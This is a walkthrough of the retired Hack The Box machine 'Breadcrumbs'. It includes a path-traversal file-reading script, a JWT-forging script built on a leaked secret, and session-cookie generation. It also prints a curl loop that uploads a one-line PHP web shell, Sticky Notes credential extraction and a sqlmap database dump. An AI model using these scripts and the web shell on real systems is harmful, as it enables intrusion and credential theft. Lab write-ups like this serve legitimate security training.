This post documents the complete walkthrough of Breadcrumbs, a retired vulnerable VM created by helich0pper, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Breadcrumbs is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.228 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-02-23 06:28:16 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49668/tcp on 10.10.10.228
Discovered open port 3306/tcp on 10.10.10.228
Discovered open port 139/tcp on 10.10.10.228
Discovered open port 443/tcp on 10.10.10.228
Discovered open port 49665/tcp on 10.10.10.228
Discovered open port 49664/tcp on 10.10.10.228
Discovered open port 445/tcp on 10.10.10.228
Discovered open port 135/tcp on 10.10.10.228
Discovered open port 49669/tcp on 10.10.10.228
Discovered open port 22/tcp on 10.10.10.228
Discovered open port 80/tcp on 10.10.10.228
Discovered open port 5040/tcp on 10.10.10.228
Discovered open port 49667/tcp on 10.10.10.228
Discovered open port 49666/tcp on 10.10.10.228
Discovered open port 7680/tcp on 10.10.10.228

No shit. This is a Windows machine alright. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80,135,139,443,445,3306,5040,7680 -A --reason 10.10.10.228 -oN nmap.txt
...
PORT     STATE SERVICE       REASON          VERSION
22/tcp   open  ssh           syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp   open  http          syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp  open  microsoft-ds? syn-ack ttl 127
3306/tcp open  mysql?        syn-ack ttl 127
5040/tcp open  unknown       syn-ack ttl 127
7680/tcp open  pando-pub?    syn-ack ttl 127

This is how the site looks like from the http standpoint.

Directory/File Enumeration

Let’s use a combination of wfuzz and SecLists and see how we fare.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 --hc 404 http://10.10.10.228/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.228/FUZZ
Total requests: 17770

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000009:   301        9 L      30 W       333 Ch      "js"
000000015:   301        9 L      30 W       334 Ch      "css"
000000004:   301        9 L      30 W       339 Ch      "includes"
000000108:   301        9 L      30 W       333 Ch      "db"
000000153:   403        9 L      30 W       301 Ch      "webalizer"
000000138:   301        9 L      30 W       334 Ch      "php"
000000305:   301        9 L      30 W       337 Ch      "portal"
000000291:   403        9 L      30 W       301 Ch      "phpmyadmin"
000000503:   301        9 L      30 W       336 Ch      "books"
000000501:   503        11 L     44 W       401 Ch      "examples"
000003737:   403        11 L     47 W       420 Ch      "licenses"
000003781:   403        11 L     47 W       420 Ch      "server-status"
000003809:   200        45 L     118 W      2368 Ch     "http://10.10.10.228/"
000005670:   403        9 L      30 W       301 Ch      "con"
000010047:   403        9 L      30 W       301 Ch      "aux"

Total time: 0
Processed Requests: 17770
Filtered Requests: 17755
Requests/sec.: 0

Check out http://10.10.10.228/books/.

And http://10.10.10.228/db/.

Looks like directory indexing is on. Let’s go one level deeper, /portal.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 --hc 404 http://10.10.10.228/portal/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.228/portal/FUZZ
Total requests: 17770

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000004:   301        9 L      30 W       346 Ch      "includes"
000000069:   301        9 L      30 W       345 Ch      "uploads"
000000082:   301        9 L      30 W       344 Ch      "assets"
000000108:   301        9 L      30 W       340 Ch      "db"
000000138:   301        9 L      30 W       341 Ch      "php"
000001385:   301        9 L      30 W       344 Ch      "vendor"
000003809:   302        0 L      0 W        0 Ch        "http://10.10.10.228/portal/"
000005670:   403        9 L      30 W       301 Ch      "con"
000010047:   403        9 L      30 W       301 Ch      "aux"

Total time: 0
Processed Requests: 17770
Filtered Requests: 17761
Requests/sec.: 0

This might come in handy later, who knows?

Local File Inclusion Vulnerability in bookController.php

During casual navigation of the site with Burp in the background, I notice the following.

Where did I see book3.html before? Yes, in /books of course. Remember the directory indexing? It sure appears that we have some kind of local file inclusion vulnerability here.

Now, check this out.

python -c "print `curl -s http://10.10.10.228/includes/bookController.php -d "book=../db/db.php&method=1"`" | sed 's|\\\/|\/|g'
<?php

$host="localhost";
$port=3306;
$user="bread";
$password="jUli901";
$dbname="bread";

$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
?>

Bingo.

Read various PHP files

Armed with this insight, I wrote the following script to read primarily PHP files.

read.sh
#!/bin/bash

URL="http://10.10.10.228/includes/bookController.php"
FILE=$1
TRAV="book=../$FILE&method=1"

python -c "print `curl -s $URL -d "$TRAV"`" \
| sed 's|\\\/|\/|g'

Let’s read the PHP file /portal/login.php.

./read.sh portal/login.php
<?php
require_once 'authController.php';
?>
<html lang="en">
    <head>
        <title>Binary</title>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
        <link rel="stylesheet" type="text/css" href="assets/css/main.css">
        <link rel="stylesheet" type="text/css" href="assets/css/all.css">
    </head>
<body class="bg-dark text-white">
    <div class="container-fluid mt-5">
        <div class="row justify-content-center">
            <div class="col-md-4 form-div">
                <div class="alert alert-danger">
                    <p class="text-dark">Restricted domain for: <span class='text-danger'><?=$IP?></span><br> Please return <a href="../">home</a> or contact <a href="php/admins.php">helper</a> if you think there is a mistake.</p>
                </div>
                <h3 class="text-center">Login <i class="fas fa-lock"></i></h3>
                <form action="login.php" method="post">
                    <?php if(count($errors)>0):?>
                    <div class="alert alert-danger">
                        <?php foreach($errors as $error): ?>
                        <li><?php echo $error; ?></li>
                        <?php endforeach?>
                    </div>
                    <?php endif?>

                    <div class="form-group">
                        <label for="username">Username</label>
                        <input type="text" name="username" class="form-control form-control-lg">
                    </div>

                    <div class="form-group">
                        <label for="password">Password</label>
                        <input type="password" name="password" class="form-control form-control-lg">
                    </div>

                    <input value="0" name="method" style="display:none;">

                    <div class="form-group">
                        <button type="submit" class="btn btn-primary btn-block btn-lg">Login</button>
                    </div>

                    <p class="text-center">Dont have an account? <a href="signup.php">Sign up</a></p>
                </form>
            </div>
        </div>
    </div>
    <?php include 'includes/footer.php' ?>
</body>
</html>

It’s evident the authentication mechanism is implemented in /portal/authController.php.

<?php
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use \Firebase\JWT\JWT;

$errors = array();
$username = "";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];

//if user clicks on login
if($_SERVER['REQUEST_METHOD'] === "POST"){
    if($_POST['method'] == 0){
        $username = $_POST['username'];
        $password = $_POST['password'];

        $query = "SELECT username,position FROM users WHERE username=? LIMIT 1";
        $stmt = $con->prepare($query);
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_ASSOC)){
            array_push($userdata, $row);
        }
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $password = sha1($password);
            $passwordQuery = "SELECT * FROM users WHERE password=? AND username=? LIMIT 1";
            $stmt = $con->prepare($passwordQuery);
            $stmt->bind_param('ss', $password, $username);
            $stmt->execute();
            $result = $stmt->get_result();

            if($result->num_rows > 0){
                $valid = true;
            }
            $stmt->close();
        }

        if($valid){
            session_id(makesession($username));
            session_start();

            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();

            $payload = array(
                "data" => array(
                    "username" => $username
            ));

            $jwt = JWT::encode($payload, $secret_key, 'HS256');

            setcookie("token", $jwt, time() + (86400 * 30), "/");

            $_SESSION['username'] = $username;
            $_SESSION['loggedIn'] = true;
            if($userdata[0]['position'] == ""){
                $_SESSION['role'] = "Awaiting approval";
            }
            else{
                $_SESSION['role'] = $userdata[0]['position'];
            }

            header("Location: /portal");
        }

        else{
            $_SESSION['loggedIn'] = false;
            $errors['valid'] = "Username or Password incorrect";
        }
    }

    elseif($_POST['method'] == 1){
        $username=$_POST['username'];
        $password=$_POST['password'];
        $passwordConf=$_POST['passwordConf'];

        if(empty($username)){
            $errors['username'] = "Username Required";
        }
        if(strlen($username) < 4){
            $errors['username'] = "Username must be at least 4 characters long";
        }
        if(empty($password)){
            $errors['password'] = "Password Required";
        }
        if($password !== $passwordConf){
            $errors['passwordConf'] = "Passwords don't match!";
        }

        $userQuery = "SELECT * FROM users WHERE username=? LIMIT 1";
        $stmt = $con->prepare($userQuery);
        $stmt ->bind_param('s',$username);
        $stmt->execute();
        $result = $stmt->get_result();
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $errors['username'] = "Username already exists";
        }

        if(count($errors) === 0){
            $password = sha1($password);
            $sql = "INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')";
            $stmt = $con->prepare($sql);
            $stmt ->bind_param('ss', $username, $password);

            if ($stmt->execute()){
                $user_id = $con->insert_id;
                header('Location: login.php');
            }
            else{
                $_SESSION['loggedIn'] = false;
                $errors['db_error']="Database error: failed to register";
            }
        }
    }
}

Check out another gem referenced in /portal/authController.php above - /portal/cookie.php.

<?php
/**
 * @param string $username  Username requesting session cookie
 *
 * @return string $session_cookie Returns the generated cookie
 *
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
 * */
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

Hmm, the default PHPSESSID is not safe? :thinking: One last piece to the puzzle - /portal/includes/fileController.php.

<?php
$ret = "";
require "../vendor/autoload.php";
use \Firebase\JWT\JWT;
session_start();

function validate(){
    $ret = false;
    $jwt = $_COOKIE['token'];

    $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
    $ret = JWT::decode($jwt, $secret_key, array('HS256'));
    return $ret;
}

if($_SERVER['REQUEST_METHOD'] === "POST"){
    $admins = array("paul");
    $user = validate()->data->username;
    if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
        error_reporting(E_ALL & ~E_NOTICE);
        $uploads_dir = '../uploads';
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_POST['task'];

        if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
            $ret = "Success. Have a great weekend!";
        }
        else{
            $ret = "Missing file or title :(" ;
        }
    }
    else{
        $ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
    }

    echo $ret;
}

Awesome. We can upload a PHP backdoor to /portal/includes/fileController.php provided we have two cookies: token and PHPSESSID manipulated according to the schemes in authController.php and cookie.php respectively.

Foothold

Armed with this insight, I wrote the following script to generate a JWT token that matches the one created by Firebase JWT library.

token.sh
#!/bin/bash

NAME=$1

HEADER=$(echo -n "{\"typ\":\"JWT\",\"alg\":\"HS256\"}" | base64url)
PAYLOAD=$(echo -n "{\"data\":{\"username\":\"${NAME}\"}}" | base64url | tr -d '=')

SECRET='6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'
SIGNATURE=$(echo -n "${HEADER}.${PAYLOAD}" | openssl dgst -sha256 -hmac $SECRET -binary | base64url | tr -d '=')

TOKEN=${HEADER}.${PAYLOAD}.${SIGNATURE}

echo $TOKEN

Next up, we have the PHP script cookie.php to generate the session cookies. I simply re-purpose the original PHP code from /portal/cookie.php.

cookie.php
<?php
/**
 * @param string $username  Username requesting session cookie
 *
 * @return string $session_cookie Returns the generated cookie
 *
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
 * */
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

echo makesession($argv[1]) . "\n";

The line $seed = rand(0, $max); should generate at most four session IDs. I’m too lazy to modify the code so I just use Linux-fu to run cookie.php 1000 times and output all the unique ones like so.

Time to test the upload. For that, I’ve chosen to use the following.

info.php
<?php phpinfo(); ?>

Let’s use curl to do the heavy lifting like so.

date; for session in $(cat paul_session.txt); do curl -H "Cookie: token=$(./token.sh paul); PHPSESSID=$session" htt
p://10.10.10.228/portal/includes/fileController.php -F "[email protected]" -F "task=info.php"; done
Wed 24 Feb 2021 03:45:16 AM UTC
Success. Have a great weekend!<br />
<b>Warning</b>:  Undefined array key "username" in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>19</b><br />
Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.<br />
<b>Warning</b>:  Undefined array key "username" in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>19</b><br />
Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.<br />
<b>Warning</b>:  Undefined array key "username" in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>19</b><br />
Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.

Upload is a success!

Sweet. Now, we upload our backdoor.

cmd.php
<?php echo shell_exec($_GET[0]); ?>

And we have remote command execution!

During enumeration of www-data’s account, I notice the presence of an interesting folder pizzaDeliveryUserData. In it lies the file juliette.json and this is what it looks like.

Could this be juliette’s SSH password? There’s only one way to find out.

Sweet. The file user.txt is at juliette’s desktop.

Privilege Escalation

During enumeration of juliette’s account, I notice the todo.html on her desktop.

Windows 10 Sticky Notes SQLite3 Database

From the TODO, we are given the hint that passwords are stored in Sticky Notes. Someone is not going to get that promotion :laughing:

We can use scp to copy the database and its datastore back to our machine for further analysis like so.

scp [email protected]:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite* .

The “juicy” information we need is in the Note table.

sqlite3 plum.sqlite
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> SELECT * FROM Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)[email protected]
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]|ManagedPosition=|1|0||Yellow|0|||||||0c32c3d8-7c60-48ae-939e-798df198cfe7|8e814e57-9d28-4288-961c-31c806338c5b|637423162765765332||637423163995607122

From juliette to development

Armed with development’s password, we can SSH to this account.

With that, we can similarly scp the file Krypter_Linux to our machine for further analysis.

String Analysis of Krypter_Linux

What the hell is a Linux executable doing in a Windows machine?

file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped

Let’s do a preliminary analysis of strings in Krypter_Linux.

The strings highlighted in red sure look interesting.

SSH Local Port Forwarding

Suppose we do a SSH local port forwarding of 1234/tcp listening at the loopback interface.

ssh -L 1234:127.0.0.1:1234 [email protected]

And do the following.

Damn.

It says aes_key with a 16-byte string. It can only mean one thing. AES-128.

Decrypting Administrator’s Password

We can modify the curl command above slightly to use sqlmap to dump the database—index.php sure doesn’t look like it’s secured against a SQL injection attack.

sqlmap -H "Host: passmanager.htb" --data "method=select&username=administrator&table=passwords" -u "http://127.0.0.1:1234/index.php" --batch --threads 10 --dump
...
Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account       | aes_key          | password                                     |
+----+---------------+------------------+----------------------------------------------+
| 1  | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+

We can easily use openssl enc to decrypt the password like so.

I sense the end is near…

:dancer: